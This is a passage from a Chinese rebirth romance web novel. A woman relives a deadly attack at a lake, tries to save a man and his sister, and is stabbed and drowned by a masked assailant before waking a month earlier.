江言月都怕家里猪嫌弃,第三趟的时候,她没忍住命令:“二百你去那边呆着休息一下!”
狗站在原地没动。
纪景州笑起来,菜塞在背箩里说:“你这狗名字还挺可爱的!”
八月彻底泄气,主人有没有搞错,“二百”这么难听的名字,夸可爱!
“你别笑话我了,这是我朋友就给我的狗,不是我取的名字,她当初花二百块钱买的狗,就取了这么一个名字。”
八月瞳孔一缩,原来如此,秦悦真是名字杀手。
纪景州随口问:“那如果你取叫什么名字?”
“我取……”江言月愣了一下,笑回:“我取就叫旺财!我比较爱钱!”
八月鄙视地看了江言月一眼,她真是一直贪财,上上上辈子也是为了挣钱,一直不跟主人结婚,不给主人过来找她。
没想到过了那么久,她还是贪财。
纪景州尴尬一笑,随口说:“那祝你以后嫁个有钱人。”
江言月面色微变,瞬间又恢复正常,皱眉说:“为什么要嫁有钱人,我自己多挣点钱不行吗?难道不嫁人,我还不能有钱了?”
纪景州哑然。
江言月说完不看纪景州,指着一旁,对狗说:“你别帮倒忙了,过那边呆着!”
八月知道这女人又生气了,只好规规矩矩过去。
纪景州没再说什么,他都快认为江言月在指桑骂槐。
他从小城里长大,没有做过农活,有些笨手笨脚。
两人花了好久才把菜全部放在背箩里。
摞出将近50公分,比刚才摞得还高。
江言月要背菜被他拦住,怎么可能让她背。
他一个经常健身的人都觉得很重,还好背箩背起来,又没那么重了。
菜地离公路不远,可全是上坡路,纪景州走得很慢。
江言月跟在后面,时刻保持警惕,生怕他稍不注意摔倒。
幸好两人上到公路,他都安然无恙,只是喘息声有些大,纪景州估计累坏了。
刚才她也是这样。
江言月指着公路里面说:“你放那里!”
纪景州加快步伐过去。
江言月紧随其后,低头扫了一眼狗,再看纪景州时,发现他要把菜放下去了,他现在放下去,靠不到里面的
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墙,整个人都会倒在公路上,很危险。
“你别放!”江言月头皮一紧,大叫一声,飞奔过去拉人,还是晚了。
她拽着纪景州肩膀,没拉住人扑上去,背箩瞬间着地,两人一起倒下去,她严丝合缝压在对方身上。
胸口都要被挤扁了,她疼得闷哼几声。
纪景州揽着她的肩膀,一脸紧张问:“你没事吧?”
“我没事!”江言月抬头,尽量离他远点,不过几乎没什么用,两人还是紧紧贴在一起。
八月张开嘴扯江言月衣摆。
人没拽起来,弄得江言月衣摆湿哒哒的。
江言月呵斥:“二百你别帮倒忙让开!”
八月听话让开,站在一旁。
江言月问纪景州:“你呢?”
“我……没事!”
他们现在严丝合缝贴着,所有感官调动时,纪景州不止痛,江言月身上那股淡淡的香味,毫无预兆攻击他的呼吸。还有她玲珑有致的身材,他手正好放在她腰肢上,那纤腰不盈一握,很软,跟梦里一模一样,还有她的……他脸不受控红透,用所剩无几的理智控制自己别有其它反应。
纪景州喃喃道:“你先起来!”
江言月不是不想起来,而是起不来,她现在,整个人压在纪景州身上,脚没着地,没有受力点,稍微一动,两人只能贴得更紧。
纪景州已经看出她的顾虑,放开搭在她腰上的手,扯开背箩肩带,双手撑着箩筐,艰难起身。
江言月腿着地时,马上滚到一边。
纪景州胸口一痛,刚才要是早知道她会这样,宁可让她慢慢站起来,他也不会急于这一时。
他恨自己被欲望冲昏头脑,现在只剩心疼,他慌张站起来,去拉人:“你没事吧?”
江言月看着他宽阔的手掌,手没伸过去,她撑地自己站起来,拍了拍衣服,笑回:“没事,你呢?”
纪景州收回手,摇头,扫了一眼地上的菜问:“我小叔什么时候来?”
江言月尴尬一笑,她哪里知道,刚才也是撒谎,“你把衣服给我,你先回去,纪年马上到了!”
纪景州刚挪动腿,八月便咬在他裤腿上,难道主人看不出来这女人在撒谎吗?
纪景州迟疑几秒,去车上拿衣服递给她,他本来想帮忙的,可她再三拒绝,也没办法。
看来小叔跟她,关系是很好,跟自己呢,全是客套。
想想他们认识也没多久,很正常。
纪景州开车要走,江言月心里不安,跑过去敲响车窗。
纪景州降下车窗,一脸不解问:“怎么了?”
江言月犹豫片刻说:“如果你爷爷生日你要回东营村,晚上别去东湖行吗?”
纪景州眉头微皱,愣住,眼神迷惑看着她,没说话。
江言月挤出一个笑,不知道怎么开口别人才能不拿她当神经病。
想想这段时间自己这些迷惑行为,大概纪景州都习惯了,胡乱开口:“我做梦,梦到东湖那边有坏人,所以我……我希望你别过去。”
纪景州瞳孔一震,眉头拧得更紧,问:“你跟别人也是这样说的吗?”
“不是……”江言月口不择言回:“我梦到你在那里受伤。”
纪景州:“那你为什么确定是我爷爷生日?”
“你不是说你那天会回来吗!平时你也不会来,不是吗?!”江言月被他盯得心虚,底下头说完,“信不信随你,我随口一说,不相信你就当我疯了在胡说八道。”
纪景州:“我没觉得你疯了,我尽量!”
江言月点头,身后车轱辘声响起,纪年车正往这边开。
纪景州从后视镜里看到,下意识扫了一眼江言月笑脸,心里莫名不是滋味,同江言月打个照顾就驱车离开,他不太想看到她同别的男人相谈甚欢。
他真觉得自己多少有点毛病,哪里来的占有欲也不知道。
而且他跟江言月朋友都算不上。
刚才她说的话,很离谱,他莫名其妙是信的。
他这段时间做的那些梦,仿佛也是真是存在一般,梦里他们什么都做了,在一起也很幸福。
他不相信什么前世今生,只觉得自己多少有点变态。
车对上时,小叔刹了车。
纪年问:“景州你怎么在这边?”
“我送东西过来给江言月。”
“哦!她东西怎么会在你那边?”
“我……上次她去城里,她跟我朋友认识,我去接她,东西忘记在车上。”他也不可能告诉小叔,她住他家里。
纪年:“哦,晚上你要不要过来我家吃饭?”
“不用了,我还要回市里。”
纪年诧异:“怎么那么赶?”
“那边有事!”
他没事,只是不想在这里呆太久,太容易失控了,心情也不好。
19. 第19章
江言月看到纪年来那么快,有些激动,“你菜都卖完了吗?怎么来那么早。”
“卖完了。”纪年知道今天江言月会很忙,菜拉过去,价格放了一点水。
“嗯,不错。”江言月含笑点头,纪年这样厉害,哪怕她真离开,她也放心把手里项目交给她。
纪年瞟了一眼江言月旁边装衣服的手提袋,下意识看了一眼离开的黑色小轿车,试探性问:“你跟景洲什么时候认识的?看你们还蛮熟的!”
江言月莫名想到东湖遇险,从那时候开始她才对纪景州改观,那天他伤成那样,她心跟被人劈开一般疼。她甚至在想,换个人她还会不会那么难过。
他们不熟,那种悲痛感,有些陌生。
江言月不想继续这个话题,告诉纪年:“他是我同学的同事,还是你侄子,认识一下也蛮好!”
纪年愣了一下。
江言月拽了一下人:“别墨迹,快点干活,我都快饿死了!”
早上她吃了两碗饭,都没抵住这正午的饥饿感。
纪年也没吃饭,菜装好送过去,外婆留他吃饭。
两人吃完饭,站起来。
纪年问她下午没事,要不要去东湖走一下,散散心。
江言月听到东湖就头皮发麻,连连拒绝。
突然想到,他爸生日那天,纪景州纪依出事,好像纪景州是为了过去找纪依,才会受伤。
纪依为什么会去东湖?
她认识那个变态?
还是去那里散步,遇到变态,遇险?
江言月吃饱喝足,一屁蹲坐在院子里长椅上,靠着椅子靠背,一动不动发愣,纪年站在跟前盯着她看,看得让人不好意思。
她拍了拍座椅,示意纪年坐下,没忍住开口问:“你之前跟我说你大哥家小女儿——纪依,在上大学,平时跟你有联系吗?”
“怎么了?”
“八卦一下,不行吗?”
“没什么联系,我只知道她在上大二,平时她也不太回家,几乎都跟她妈在县城,谁城里有房里会往乡下跑。”
江言月无奈一笑,问:“你也想在城里买房吗?”
纪年目光一时暗淡下来,垂下眼帘,没说话。
按理说纪年这个年纪在城里买房也正常,纪年平时工作上进心很强,没少挣钱,主要是因为前些年,他妈妈生病住院花了不少钱,为了照顾他爸妈就回村里来发展了,之前城里工作收入也不错。
江言月有些心疼,余光瞄了纪年一眼,他小麦肤色,为那立体的五官凭添几分男人味。要不是村里没什么年轻人,该是多少女人梦中情人。
他跟纪景州眼睛有点像,眼神却完全不一样,纪年眼里透着一股坚定。
纪景州眼底透着几分绅士与几分温柔,还有别的她看不明白。
上辈子梁靖说纪景州绅士她还反驳,这辈子就打脸,现在觉得纪景州确实不错,可惜她没打算结婚,不然是个不错的选择,找个贴心听话,话又少的小白脸当老公也蛮好的。
可惜!
可惜了!
江言月叹息一声。
纪年偏头看她:“怎么!我都没你这么丧气,跟你呆久了,我觉得乡下挺好的,呆一辈子都行!”
“别气馁,跟着我,相信我,三年之内,我带你凑够首付。”江言月拍了拍他肩膀,“老婆本我都带你攒够!”
纪年失笑,抬眸盯着她,眼里藏不住的笑意,回:“那我的人生大事就全部交给你了!”
江言月点头,转念想到一个问题,追问:“话说你喜欢啥样的?我跟你在一起那么多年,也不见你带个姑娘回来,脸白长那么好看了,连个女朋友都没有!”
纪年看她一眼,目光投向院子外面,长叹一口气:“等你带我挣够老婆本,我再告诉你。”
江言月无奈一笑,纪年还讹上她了,但愿她能活到三年之后。
主要还是得注意,纪年老爸生日那天,他们有可能遇险。
不对,好像上上次,狗带她坠湖,又不是同一天,奇了怪了,见鬼!
八月从厨房出来,见江言月跟纪年并坐在一起,有说有笑,顿觉大事不妙,赶紧跑过去,挤在他们中间坐着,隔开两人。
主人也不争气,刚才怎么不坚持送他们回家。
两人一狗太挤了,江言月往边上一挪,八月直接横躺在座椅上,把他们隔得更远。
这狗是不是疯了!椅子那么长,非挤在中间。
江言月摸了摸狗头,小声说:“你也那么丧气,你男神一走,你就不开心了!不行我跟你男神说一下,让他带你几天,或者把你送给他养行不行?”
八月呜咽两声,越发委屈,这女人以为它不想吗,主要是主人看起来一点不喜欢它就算了,还躲着它。
纪年倒是不敢摸狗,他只能确定这条狗不会咬他,喜欢倒是看不出来,这狗还有喜欢的人,是谁?
纪年没忍住问:“什么男神?”
江言月:“你侄子——纪景州。”
纪年:“啊!它才见过几次景州!”
江言月:“第一次见,这条厚脸皮狗就贴过去了。”
八月暗骂,她全家都厚脸皮,不对全家不得包括它,就江言月一个厚脸皮,很厚很厚的脸皮,江言月这死女人,到底什么时候能跟主人在一起,今天不是都抱在一起了吗?!
上上上辈子它恨两个人太相爱,它被迫做了电灯泡。
这辈子它恨这两个人磨磨唧唧,摔在一起,抱着都脸红,上辈子亲一起,睡一起也没见他们脸红,矜持些什么!
还不知道它跟江言月还要死多少次!
八月垂头丧气,陷入无尽的绝望。
农忙时节,时间催人。
转眼四周过去,两天后就是纪年老爸生日。
江言月揪心,她也不可能在纪景州和纪依要过来参加生日的时候,把人家拦在路上说,不行你们有可能会死。
这两天她都得出摊,前两天忙地里事情没时间收菜,村里爷爷奶奶催她催得紧,说菜再不卖就卖不了了。
纪年前一天有事,菜拉到城里就去拉货。
本来她还想打听一下,纪景州他们什么时候过来,没来得及开口。
纪年从摊位一走,她忙得手忙脚乱。
菜卖了一半,秦阿姨见她忙,过来帮她。
两人卖到中午,才把菜卖空。
秦阿姨叫她回去吃饭,她婉拒了,狗留在摊位上。
她带着秦阿姨去饭店点了3菜一汤。
两人坐在饭桌上大眼瞪小眼,江言月起身给秦
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阿姨倒了一杯水。
秦阿姨脸色一变,仿佛又要哭。
她放下茶壶,拉着她的手安慰:“阿姨你要放宽心,秦悦如果知道自己会先离开,肯定也不愿意看到你哭,你以后就当我是你女儿,反正我没爹没娘。”
秦阿姨反手握住她的手,轻拍她手背,眼泪还是掉出来:“你说你这么好的孩子,怎么会有亲生父母舍得丢下……”
“一个人好不好决定不了别人会不会爱自己,我没觉得自己现在不好,只是我见不得像你们那么好的父母难过!”话说出去,江言月也莫名想哭。
“阿姨不难过了,秦悦有你那么好的朋友真好。”
“因为秦悦被你们教得很好,我只是向学了一点皮毛。”服务员端菜过来,江言月不想说太多,惹人飙泪,转移话题,“阿姨不说这些不开心的事情,先吃饭。”
两人吃好饭,她把秦阿姨送回家,带狗回村了。
难过的事情太多,时间又太少,她不想留那么多时间去难过,也不想反复想惹自己飙泪。
没意思。
回村第一件事情,收菜。
菜收好已经傍晚。
时间不早了,夏季黑的晚,让人饿得发慌。
外婆已经打了两个电话过来,她叫外婆先吃饭。
车从纪景东家门口路过,她下意识放慢车速听里面声响。
很热闹,感觉人不少。
今天是周五,估计回来庆生的人都回来了。
她没停车,缓慢径直行驶过去。
摩托车开始爬坡时,一个熟悉的人影从树影转出来。
江言月踩下刹车,停下纪景州旁边,狗一如既往跑下去围着他转。
纪景州却没看狗,看她。
江言月从车上下来,摸脸问:“……我脸上有东西?”
“不是……”纪景州局促低头,不知道从何解释,他原本不想回来的,毕竟前几年都没回来,可他太想见她,以至于看一眼都入神。
江言月也不知道说啥,肚子不合时宜叫了,兜里电话也响起来,外婆打来的。
接电话之间,江言月连忙跨上车,叮嘱:“你记得这两天别往东湖跑。”
纪景州点头。
江言月接起电话,外婆先开口:“小月你到哪里了?”
“外婆,我三分钟到,马上回来!”江言月挂电话,呵斥那条谄媚的狗:“走了二百!”
纪景州目送江言月离开。
如果说小叔喜欢她还有机会,那他跟江言月没有任何机会可言。
异地不说,每次他们遇见,这样简单打几句招呼,莫非他还能问她:你觉得我怎么样,咱们都单身,要不要考虑一下,谈个恋爱?
估计江言月往后都得避着他走。
可他说不清为什么,越来越喜欢她。
有时候他都设想过,要不大胆点开口,说不定被拒绝以后就死心了。
江言月一直提醒他别去东湖。
东湖风景虽美,可他也不喜欢东湖,每次路过那里,心都莫名提起来的,加上那偶尔做的东湖遇险梦,更不喜欢。
纪景州往东湖方向看过去,几公里外的东湖,从山坡看过去,能看到湖水,傍晚时分,湖水黑得令人心里发毛,不出意外的话,今天又得做噩梦。
20. 第20章
纪年老爸生日当天,江言月按时出摊。
跟前两次不一样的是,今天没有在县城逗留太晚,菜卖得很快。
回家很早。
江言月坐立不安,跑去地里干活。
忙完已经是黄昏,依旧心慌意乱。
到家门口,外婆喊吃饭。
狗在大门口来回踱步,比她还焦躁,在地里就这样。
自己也好不到哪里去,心一直都提着,其实这一次如果她别去东湖,除非天灾,否则她不可能会有危险。
她不想多管闲事,可那是两条人命,要是纪景州听她的话,不可能会有危险,她都做到这个份上……
他们出事跟她也无关。
江言月抱起背箩里的杂菜,丢在羊圈里,扭不过良心,给纪年打了一个电话。
电话接通,那边听起来无比热闹。
“你们都在吗?”
“都在,怎么有事吗?”纪年问。
听到想要的答案,心里那股不安感,稍微缓和一些,一时不知道怎么回纪年,她也想有个准确的答案,只好追问:“你侄子在吗?”
“啊!你说谁?”
“景州……”她心虚,名字都没说全,“纪景州我找他有事……想拜托他带点东西去给我同学。”
纪年没立刻回答,半晌嘈杂声里听到纪年询问别人,“景州呢?你们看到没有,刚才不是还在这的吗?”
“去找他妹妹了!”
江言月立刻挂断电话,心提到嗓子眼,跑到大门口,外婆在门口叫她,问她怎么了。
江言月返回,搂住门口的外婆,“外婆我出去……出去找纪年拿点东西,等下回来,饭我不吃了,去那边吃,你别跟我留。”
可能这一别就是永别。
江言月鼻头泛酸,用力一抱,飞快在外婆脸上亲了一口,放开外婆,往门口跑去。
江言月不想带狗的,哪怕可以重生,她也不愿意带着狗一次又一次经历那种绝望,她骑车跑了一段,狗在后面追着,她只好停下车让狗上车。
狗跳上脚踏板,衣兜一震,纪年电话打来了。
纪年先开口:“我没看到景州,他们说去找纪依了,你要送什么给你同学?我开车过来找你拿。”
江言月扶在车上的手忍不住颤抖,她深吸一口气说:“你带两个人去东湖,我们在东湖碰面。”
“什么?什么意思?”
江言月一时无从解答,灵光一闪,只能胡说:“我怕纪依出事,我昨天看到有人跟着她。”
电话那头短暂无声。
这错漏百出的谎言,仿佛把自己说成一个见死不救的旁观者,昨天她压根没见到纪依。
“那你过来找我碰面,别去东湖。”
纪年急迫的声音传来,显然没听出这是谎言。
“我……说不定我还在你们后面呢,我比你们远,你们先赶过去!”
江言月撒谎。
从家里下坡以后,有条小路直通东湖,路程省一半,时间省一半,平时她不敢走,怕什么变态从田埂间冒出来吓人。
现在别无选择,踩下油门,调转方向往小路碾压过去。
她大意了,只顾着提醒纪景州,却忘记,引纪景州去东湖的,不是东湖的美景,而是纪依。
一路疾驰去东湖,摩托车的油门声回荡在东营村,她第一次讨厌摩托,转念一想声音是不是能让行凶者有所收敛。
江言月这次车没停在往次停的位置,找了一个灌木茂密的地方停下车。
狗也难得没乱跑。
江言月带狗,往湖边护栏绕过去,小声叮嘱:“等下你别瞎跑,别救不了人,还死了!”
八月垂下头,鼻子抽动几下,细闻空气里的气味,没有闻到有关主人的任何气息,它感觉不是这里。
江言月小心翼翼走着,脚有点发软,心一路提着,偏头看了看漆黑的湖水,神经又绷紧几分,往护栏里面走了几步。
轻手轻脚走了几百米,什么都没看到,她停下脚步,皱起眉头。
到底是今天不会发生什么事情?
还是不在这里?
时间紧迫,江言月跑回摩托车停的地方,狗跟着她跑。
她几乎确定,纪景州他们还没过东湖来,刚踏上公路。
纪年皮卡车从对面驶来,大灯打在她身上,逼得她睁不开眼,她抬手遮住光线。
纪年车停在她身旁,降下车窗,副驾座坐着一个皮肤比纪年还黑的男人,是那天找狗,叫她回家有空过去吃饭的男人。
老姜冲她一笑打招呼:“江老板!”
纪年眉头紧皱,一脸紧张问她:“怎么没看到人吗?”
江言月摇头。
“我打电话他也没有接。”纪年眉头紧锁,拍了拍方向盘,又偏头问她:“怎么你会知道他来东湖?他给你打电话了。”
江言月愣了一下,支吾回:“我……我猜的,东湖风景那么好,谁不喜欢东湖,他要是告诉我,我还用找人吗?!”
说完江言月不忘瞪纪年一眼,转身就走,回头提醒纪年:“你们开车去附近转一圈,我也到附近找一下。”
没走几步,纪年在后面喊她:“江小月,有事给我打电话。”
江言月没回头,比了一个ok的手势。
她骑车带着狗,往隔壁东兴村的岔路绕过去。
没有看到人,只好折回来,回到去东营村的主路上。
江言月有些挫败,心没有安分半分,破罐子破摔,车在上次出事停的地方停下,那片空地上什么都没有,黑漆漆一片。
狗也安分的坐在踏板上一动不动,她俯身,叹了一口气,手抬起在狗头上摸了又摸,小声嘀咕:“二百你说这人到底去哪里了?”
八月紧闭狗嘴,垂下头。
人到底去哪里?会去哪里?
江言月漫无目的四处乱扫一通,目光定在来时绕过的路上,那条路经常有的路,总会遇到纪景州。
“二百坐好!”油门一打,江言月骑车直奔纪景东家旁边那个山坡,她暗自祈祷猜测没错。
车速度飞快,风呜呜,在耳边叫。
江言月觉得自己有点多管闲事,明明只要呆家里,今天就可以平安度过,可还是忍不住。
没走多远,脚踏板上的狗开始躁动起来。
江言月正欲拐弯,放慢车速,一束极亮的冷光闯入视野,她眯眼,皮卡车行驶的声音传来,莫非纪年绕一圈折回来了?
刹那间,车声越来越近,抬眼的功夫,皮卡车疾驰而过。
她刚好转弯,来不及看清车牌,车型跟纪年一样,她已经断定不是纪年。
开车风格不一样,纪年不论遇到什么事情,从来不会失控。
这车超速了。
狗已经试图跳下车,她曲腿拦住呵斥:“你别乱动,我骑车带你过去。”
这是东湖最后一段路,说着江言月已经急速拐弯,她逼自己镇定,不想像第一次那样,失控坠湖。
没有十分把握车里有纪依跟纪景州,狗的反应,让她有八分把握。
她拐回去,卡车早已消失在视野,唯独可以听到皮卡车油门声。
江言月眉头紧蹙,车速提到最高,追了过去。
“砰……”巨响的落水声。
那声音很大,像是从桥上传来的。
江言月一怔,没控制好摩托车方向,车歪着蛇形前近,扭了几下,狗差点甩出去。
她极力控制住车身,逐渐恢复平稳。身体控制不住浑身发抖,四肢使不上力。
“嗡嗡嗡……”衣兜里手机震动。
肯定是纪年电话。
“旺旺旺……”八月狂吠,它等不及了,那股熟悉的血腥味和主人身上特有的味道从前方飘过来。
江言月心思也不在电话上,没停车接电话,只想追上那辆车。
她想不通,哪怕每次注定遇险,可为什么每次过程都不一样。
哪怕这次也注定是死,她想看清那罪犯的脸。
赴死的决心,压住心底的恐惧,江言月给车提速。
由着兜里手机一震再震。
摩托车从弯道转过,离东湖那座桥越来越近。
那辆黑色皮卡停在桥上。
隐约能听到尖叫声。
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距离不断靠近,尖叫声也越来越大。
是纪依的声音。
江言月手死死捏住刹车柄,没有刹那犹豫,以最快速度冲上桥,停在皮卡车旁边。
摩托车在惯性驱使下没停稳,她跟狗一同跳下车。
摩托车因为惯性,势能,往桥下直冲,越来越快。
江言月趴在地上擦破了手心的皮肤,狗往桥另外一边冲下去。
纪依声音从车里传出来,“救命!救命!救我!”
“哗哗哗……”桥下是水拨动的声音。
江言月撑地站起来,顾不上掌心刺痛,目光落在两米开外的副驾座上,纪依一个人在副驾座,双手抱胸,衣衫不整……
不对!
刚才明明她余光瞟见一个黑影,在车里!
难道……
一股压迫感从身后袭来,江言月扭头,脖颈正好送在对方手里。
黑色面罩遮住的脸近在眼前,她试图抬起双手反抗,双手先一步落入对方掌控,手被他大力折往身后。
“咔嗒”一声。
钻心的疼。
手机又震起来。
江言月忍痛大喊:“我朋友马上来了!”
“呵……想吓我……”他声音低哑冰冷,手上力度又大了一分,“来了你也得死——不过死之前,我会让你爽一下……”
他俯身凑过来,江言月头往后一仰,用力撞上去。
两头相撞,脖颈上手微松了,江言月顾不上痛感,抬腿踢上对方要害,对方奋力一推,她撞在桥上水泥栏杆上。
起身时,那黑影已经再次压过来。
水中是艰难移动突然停下来的纪景州,还有不断靠近纪景州的狗。
一瞬间迟疑,江言月忍痛用脱臼的手,搭上桥头栏杆,还没来得及使力,纵身一跃,身后的人极力控制住她,抵在栏杆上压住。
“贱人!你以为你还逃得了吗?”
她没想逃,只是想死得简单一点,有尊严一点。
对方擒住她的双手背在身后,大力捏住,把她困在桥头栏杆上,半个人高的栏杆,像永远无法越过的天梯。
江言月疼得全身直冒虚汗,脱臼的双手除了疼,根本使不上力气。
这算是自我高估的代价,刚才如果接通纪年的电话,不可能会那么惨。
余光扫了一眼车里纪依,又有些欣慰,至少这个变态还来不及伤害纪依,慢一步说不一定纪依会遭对方毒手。
可又有什么区别呢!
现在不过是换成了她。
后腰的位置一直有个温热的东西抵着她。
江言月直犯恶心,不用想,也知道是什么,她刚才真踢太轻了。
“艹……你这贱人害老子……起不来……”男人一动,往后一退,肩膀处一凉。
尖锐冰凉的刀锋刺入肩膀处,微微一凉,感觉到皮肉分离,血液喷涌而出,浸透江言月的白色衬衫,痛感翻了几十倍。
“你别动她……”纪景州嘶声大喊。
江言月下意识望向东湖。
冷笑声从身后传来:“妈的,你怎么还没死……你那么担心她,我马上让她来陪你……”
腿弯一紧,江言月被腾空抱起,对方用力一丢,她不受控坠入东湖。
很好!
这对她来说是种解脱。
只是纪依……
即将靠岸的纪景州,拼命游过来。
熟悉油门声从岸上传来,不远处有光照过来。
江言月不合时宜的松了一口气。
纪年来了,纪依至少不会出事。
男女之事,讲求你情我愿,如果被变态伤害,会是一辈子阴影。
江言月不懂自己,为什么不能做到真正的冷眼旁观!
要管,今天就该寸步不离盯着纪景州和纪依。
不管,就该彻底冷眼旁观,不闻不问。
老天一定是在惩罚她太过瞻前顾后。
她此刻真的好痛!
湖水不受控灌入身体,江言月闻到血腥味,黑暗一点点往压过来,眼眸合上的瞬间,听到有人叫她。
“江小月——”
21. 第21章
意识弥留之际,一双强有力的手抓住了江言月。
她努力睁开千斤重的眼皮,纪景州的脸出现在眼前。
纪景州紧紧揽着她的腰颤声说:“你别怕,我会带你一起游上去。”
江言月无力一笑,轻轻推他:“你别管我,先上去,我不会游泳。”
纪景州瞳孔一紧,没再说话,竭力稳住江言月下坠的身体,带着人往岸边游。
江言月不想拉他一起死,不安分扭动身体,试图推开人,纪景州放在腰上的手反而越揽越紧。
现在没有呛水,江言月神思回笼不少。
他们离岸边太远了,眼下情况,除非有人过来帮忙,否则只能一起死。
“纪景州,你放开我!”江言月猛一推纪景州胸膛,虚弱开口。
手刚好推到纪景州受伤的上腹,他闷哼一声,两人身体往湖水深处直坠。
江言月心提到嗓子眼,这不是她想要的结果。
岸边的路灯刚打在湖面上。
染上血色的湖水,以他们为中心一直往周边蔓延,也分不清是谁流的血。
纪景州单手极力往水面,划动,带着她一点点往湖面游去。
江言月胸口一痛,眼泪飚出来,心里千言万语,积压于心底,无法宣之于口。一旦开口,她会呛水,说不定会带着纪景州一起死。
不知道多久,终于吸上新鲜空气。
江言月崩溃落泪,瞥向那远在天边的湖岸,嘶声控诉:“纪景州你放手,这样下去,你救不了我,我们只会一起死在这里。”
纪景州短暂怔愣,并没有被吓到,反而有些释然。
如果他救不了她,死在一起,好像也挺好,可他想要她活着。
他们只有几面之缘。
纪景州不明白,为什么可以为彼此做到这个份上。
刚才只差一点,便可以上岸。
那一刻他毫不犹豫游回来,在担忧和害怕驱使之下,游过来,比游过岸边,还快。
现在,他没力气了。
放在腰上的手不受控松了一分。
他心一惊,用尽全力死死扣住,低头盯着身下的江言月:“对不起,江小月,我连累了你!”
最后一丝力气耗尽,纪景州缓缓闭上眼睛,两人一起下坠。
江言月也没了力气。
她不想挣扎,随便一动,疼感蔓延四肢百骸。
活着比死难多了。
眼下,她没本事活着,死了一了百了。
可她不想拉上纪景州一起共同赴死。
她挣扎着,试图让纪景州放开她这个拖油瓶,这样说不定他还会有一线生机。
刚才明明他可以安全靠岸,非要过来找她,连她狗都知道趋利避害,跑上岸求生。他倒好,一意孤行,执意救她。
真傻!
她现在身受重伤,推了半天纪景州,他纹丝不动,腰上的手像是焊在腰上一般,人也没有醒来的迹象。
恐怕没受伤,也挣脱不开。
江言月认命了,缓缓闭上眼睛,湖水挤压着五脏六腑,呼吸早已不属于她自己。
死吧!
她祈求老天让她死快一点!
如果还能再次重生!
能不能别让她死那么凄惨!
黑暗再次压来,江言月最后一个念头从脑海闪过。
这一次,不是她一个人孤独赴死,也算是老天的成全。
秦悦的狗真不靠谱,养了那么久,都丢下她几次了!
晦气。
太阳光打在脸上时,江言月回神,腰上一紧,熟悉的下巴近在眼前,身后是歪倒的菜……
她正趴在纪景州身上,这是回到了一个月前,纪景州给她送衣服的时候。
上一刻,身上那些撕裂的痛感消失。
这一次仿佛做了一个无比漫长痛苦的梦。
江言月一笑,眼泪带出来,情绪彻底失控,眼泪如雨滴一般翻涌而下,停不下来,她没有哭出声。
纪景州脖颈处湿意蔓延,低头看到江言月在哭,前一刻因为尴尬害羞升高的体温,骤然降下来,胸口随着她抽泣声不断收紧,抽痛。
他连忙移开腰上的手,撑着江言月肩膀,看着她的脸,颤声问:“你哪里撞疼了吗?”
江言月摇头,盯着纪景州眉眼,紧抿着唇,眼泪更汹涌。
纪景州目光一闪,依旧不放心,放开抓在她肩膀上的手,想找个支撑点,站起来,好好检查一下,还来不及找个支撑点,下一刻江言月低头深埋在他胸口,放声大哭。
哭声震耳。
纪景州彻底僵住,忘记所有动作,手下意识拍在她肩上,不知道该怎么办,只能又问一遍:“你真没受伤吗?”
埋在胸口处的头来回摆动两下。
纪景州彻底懵了。
那冷却的体温,又慢慢升温。
他深吸一口气凝神,让自己神志尽量保持清明,不去胡思乱想。
可只是喘气的功夫,江言月身上那股淡淡的香味,便开始不受控攻击他的意志力,还有她凹凸有致的身材……正紧紧贴着他……
他怕自己哪一刻忍不住……
抽泣声拉回他的神智,纪景州暗骂自己下流。
“你没事,真好!”江言月喃喃道。
纪景州听到了,她这反应,跟上次骂他变态,又捧住他的脸抚摸,一样让他震惊,上次好像她也是这样说。
这次他没了上次的错愕,胸口莫名一痛。
她没受伤的话!为什么哭?
“你……”正想问,话到嘴边,迎面驶来的皮卡车打断了纪景州。
透过挡风玻璃,驾驶座是小叔铁青的脸。
车停在他们跟前。
纪年听到哭声,径直下车,看到倒在箩筐上,紧紧抱在一起的两人,眉头又紧了几分,扫了一眼纪景州。
“我们摔了一跤!”纪景州躺着,不敢直视小叔,下意识解释。
纪年没接话,面无表情,拉起江言月,她通红的脸和眼睛,刺痛了他的心,抬手抹掉她眼角的泪,温声问:“摔到哪了?很疼吗?”
八月不甘心,在纪景州跟前,叫了几声,杵着干嘛,抢啊!
纪景州根本没看狗,哪怕看了也不懂狗的暗示,盯着眼前亲密无间的两人,愣在原地,无话可说。
纪年这样一问,江言月委屈感上来,努了努嘴又想哭,抬手用力捶了纪年肩膀两下:“你怎么每次,都那么慢!”
纪年无奈一笑:“我今天收摊算早的了,你还怪我。”
江言月说的是上上几辈子在东湖的事情,如果纪年来早一点,那她是不是就不会死那么凄惨。
眼下这场景,责怪人,多少有点无理取闹。
江言月没再说话。
纪年上下打量她一番,追问:“你到底伤哪里了?哭这么伤心。”
“我没事!”
江言月不知道怎么解释,瞟了一眼旁边纪景州,他也没事很好,随口回:“可能是忙了一上午,太委屈!”
纪年失笑,盯着眼前堆一地的菜说:“那你不会等我回来再收这些菜,这样勤快做什么,每次你喊我帮忙,我可都没拒绝过你。”
江言月淡淡一笑,指着倒在地上的菜,抱起双手,一副居高临下的姿态,假意命令:“本来就是留给你的,我们太怂,最后一步还栽倒,我们已经尽力了,现在全是你的。我们是不会帮你忙的,你弄好,我们一起去家里吃饭!”
纪年咬牙回:“行!”
“你午饭吃了没有?”江言月问纪景州。
“嗯,吃了!我有事先走了!”
纪景州松开不由自主紧握的拳头,回到车上,衣服拿给江言月,回了家。
大哥说小叔喜欢江言月,他原本还持有怀疑的态度。
今天亲眼目睹,算是让他彻底死了心。
不管他今后如何控制不了自己想见江言月,也不能再做一些不该有的梦。
他和江言月不可能。
小叔跟江言月刚才一直调
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笑的场景,让他心里很不是滋味,差点没忍住把人拽过来,控制在怀里。
传说中的占有欲暗自作祟,他凭什么?
他曾经以为哪怕今后喜欢上哪个女人,也能在感情里游刃有余。
没想到只是这短短的几次相遇,他便失了控。
胸口处很凉,那是江言月哭过的痕迹。
心也更凉,那是冲动的后果。
车一阵颠簸上了坡,他刹住车停在山坡上,后视镜里能看到江言月和小叔。
最后一点菜搬上车,两人各自驱车,往跟他相反的方向离开。
纪景州垂下眼,目光回落在副驾驶坐,那里刚才放着她的衣服。
胸口一阵刺痛,纪景州抬手压住,到底怎么样才能断了这些不该有的念想。
保持距离吗?
没有答案。
纪景州眼里只剩迷惘。
其实他不回村里,大概率永远不会遇见,可他不甘心。
——
狗在车上不安分地叫。
江言月火大,停下车,指着地上,“有本事你跟他走,别缠着我,你这忘恩负义,养不熟的白眼狼。”
八月垂头丧气,停下所有动作。
